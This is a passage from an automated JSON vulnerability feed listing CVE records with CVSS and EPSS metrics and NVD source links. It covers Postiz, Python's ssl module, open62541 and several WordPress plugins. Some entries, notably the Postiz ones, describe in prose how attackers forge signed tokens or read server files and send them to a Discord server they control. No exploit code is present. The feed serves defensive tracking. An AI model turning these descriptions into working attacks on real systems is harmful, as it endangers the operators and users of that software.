score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114820&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114820, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115933","cveId":"CVE-2026-115933","aliases":[],"kind":"vulnerability","title":"Postiz signs its session, invitation and password reset tokens with one shared secret and without any marker of what a token is for.","summary":"Postiz signs its session, invitation and password reset tokens with one shared secret and without any marker of what a token is for. A route that refreshes the credentials of a browser-extension channel signed data taken from the request itself and stored the result where the requesting user can read it back. A user could therefore obtain a validly signed token containing any claims they choose, which the application accepts as a session, as an organization invitation with a chosen role, as a password reset or as an enterprise provisioning token.\n\nA second, narrower route that creates team invitations signs extra fields from the request body in the same way.","detail":"Postiz signs its session, invitation and password reset tokens with one shared secret and without any marker of what a token is for. A route that refreshes the credentials of a browser-extension channel signed data taken from the request itself and stored the result where the requesting user can read it back. A user could therefore obtain a validly signed token containing any claims they choose, which the application accepts as a session, as an organization invitation with a chosen role, as a password reset or as an enterprise provisioning token.\n\nA second, narrower route that creates team invitations signs extra fields from the request body in the same way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T15:17:33.957Z","updatedAt":"2026-10-26T16:54:34.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115933","asOf":"2026-10-26T16:54:34.940Z"},"epss":{"probability":0.00249,"percentile":0.16105,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115933&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115933","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115933","type":"primary","publishedAt":"2026-10-24T15:17:33.957Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115933&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115933, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115557","cveId":"CVE-2026-115557","aliases":[],"kind":"vulnerability","title":"Python has added a denylist for known compromised certificates to the \"ssl\" module to ensure user safety even without certificate revocation configured.","summary":"Python has added a denylist for known compromised certificates to the \"ssl\" module to ensure user safety even without certificate revocation configured. Known compromised certificates will automatically be rejected regardless of the SSLContext policy configuration.","detail":"Python has added a denylist for known compromised certificates to the \"ssl\" module to ensure user safety even without certificate revocation configured. Known compromised certificates will automatically be rejected regardless of the SSLContext policy configuration.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T15:17:33.600Z","updatedAt":"2026-10-26T16:54:08.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115557","asOf":"2026-10-26T16:54:08.707Z"},"epss":{"probability":0.00534,"percentile":0.44815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115557&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115557","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115557","type":"primary","publishedAt":"2026-10-24T15:17:33.600Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115557&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115557, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115932","cveId":"CVE-2026-115932","aliases":[],"kind":"vulnerability","title":"When a post is published, Postiz treats a media path that is not a web address as a file on the server's disk, but it does not check that the file lies inside the upload directory.","summary":"When a post is published, Postiz treats a media path that is not a web address as a file on the server's disk, but it does not check that the file lies inside the upload directory. A registered user can store a crafted media path with a post, get it past the checks that normally restrict it, and have the publishing worker read an arbitrary file and send it as an attachment to a Discord server the user controls.\n\nThe same unconfined reads can be reached through two further routes. One tells the caller whether a file exists and can exhaust the backend's memory, the other delivers the file the same way as the main route. Self-registration is open by default, so the attacker needs no existing account.","detail":"When a post is published, Postiz treats a media path that is not a web address as a file on the server's disk, but it does not check that the file lies inside the upload directory. A registered user can store a crafted media path with a post, get it past the checks that normally restrict it, and have the publishing worker read an arbitrary file and send it as an attachment to a Discord server the user controls.\n\nThe same unconfined reads can be reached through two further routes. One tells the caller whether a file exists and can exhaust the backend's memory, the other delivers the file the same way as the main route. Self-registration is open by default, so the attacker needs no existing account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T13:16:37.217Z","updatedAt":"2026-10-26T16:54:34.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115932","asOf":"2026-10-26T16:54:34.940Z"},"epss":{"probability":0.00428,"percentile":0.36744,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115932&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115932","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115932","type":"primary","publishedAt":"2026-10-24T13:16:37.217Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115932&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115932, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116014","cveId":"CVE-2026-116014","aliases":[],"kind":"vulnerability","title":"open62541 1.5.0 before 1.5.7 contains an integer overflow in UA_DataType_fromStructureDescription() that wraps the 16-bit memSize field for large custom structure definitions.","summary":"open62541 1.5.0 before 1.5.7 contains an integer overflow in UA_DataType_fromStructureDescription() that wraps the 16-bit memSize field for large custom structure definitions. A malicious OPC UA server can supply DataType definitions via UA_Client_getRemoteDataTypes(), causing decodeBinaryStructure() to overflow the heap, crashing clients or enabling code execution.","detail":"open62541 1.5.0 before 1.5.7 contains an integer overflow in UA_DataType_fromStructureDescription() that wraps the 16-bit memSize field for large custom structure definitions. A malicious OPC UA server can supply DataType definitions via UA_Client_getRemoteDataTypes(), causing decodeBinaryStructure() to overflow the heap, crashing clients or enabling code execution.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T12:16:57.607Z","updatedAt":"2026-10-24T12:16:57.607Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116014","asOf":"2026-10-24T12:16:57.607Z"},"epss":{"probability":0.00432,"percentile":0.37139,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-116014&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116014","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116014","type":"primary","publishedAt":"2026-10-24T12:16:57.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-116014&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-116014, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94075","cveId":"CVE-2026-94075","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in Tribulant Software Newsletters newsletters-lite allows Object Injection.This issue affects Newsletters: from n/a through 4.18.1.","summary":"Deserialization of Untrusted Data vulnerability in Tribulant Software Newsletters newsletters-lite allows Object Injection.This issue affects Newsletters: from n/a through 4.18.1.","detail":"Deserialization of Untrusted Data vulnerability in Tribulant Software Newsletters newsletters-lite allows Object Injection.This issue affects Newsletters: from n/a through 4.18.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:52.790Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94075","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00449,"percentile":0.38754,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94075&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94075","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94075","type":"primary","publishedAt":"2026-10-24T08:16:52.790Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94075&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94075, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114196","cveId":"CVE-2026-114196","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in paytiumsupport Paytium paytium allows Object Injection.This issue affects Paytium: from n/a through 5.0.5.","summary":"Deserialization of Untrusted Data vulnerability in paytiumsupport Paytium paytium allows Object Injection.This issue affects Paytium: from n/a through 5.0.5.","detail":"Deserialization of Untrusted Data vulnerability in paytiumsupport Paytium paytium allows Object Injection.This issue affects Paytium: from n/a through 5.0.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:51.963Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114196","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00449,"percentile":0.38754,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114196&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114196","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114196","type":"primary","publishedAt":"2026-10-24T08:16:51.963Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114196&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114196, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112866","cveId":"CVE-2026-112866","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPFactory Product Filter by WBW woo-product-filter allows Blind SQL...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPFactory Product Filter by WBW woo-product-filter allows Blind SQL Injection.This issue affects Product Filter by WBW: from n/a through 3.4.6.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPFactory Product Filter by WBW woo-product-filter allows Blind SQL Injection.This issue affects Product Filter by WBW: from n/a through 3.4.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:51.303Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112866","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00356,"percentile":0.29021,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112866&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112866","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112866","type":"primary","publishedAt":"2026-10-24T08:16:51.303Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112866&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112866, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111402","cveId":"CVE-2026-111402","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Tribulant Software Newsletters newsletters-lite allows SQL Injection.This...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Tribulant Software Newsletters newsletters-lite allows SQL Injection.This issue affects Newsletters: from n/a through 4.18.1.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Tribulant Software Newsletters newsletters-lite allows SQL Injection.This issue affects Newsletters: from n/a through 4.18.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:50.877Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111402","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00349,"percentile":0.2824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111402&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111402","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111402","type":"primary","publishedAt":"2026-10-24T08:16:50.877Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111402&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111402, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110956","cveId":"CVE-2026-110956","aliases":[],"kind":"vulnerability","title":"The asVereinbase  WordPress plugin before 1.1.8 does not require a valid password or a genuine second factor before authenticating a user, treating an empty stored value as a...","summary":"The asVereinbase  WordPress plugin before 1.1.8 does not require a valid password or a genuine second factor before authenticating a user, treating an empty stored value as a match, so an unauthenticated attacker can log in as any user, including an administrator.","detail":"The asVereinbase  WordPress plugin before 1.1.8 does not require a valid password or a genuine second factor before authenticating a user, treating an empty stored value as a match, so an unauthenticated attacker can log in as any user, including an administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T06:16:36.010Z","updatedAt":"2026-10-26T13:50:14.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110956","asOf":"2026-10-26T13:50:14.083Z"},"epss":{"probability":0.0036,"percentile":0.29555,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110956","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110956","type":"primary","publishedAt":"2026-10-24T06:16:36.010Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE 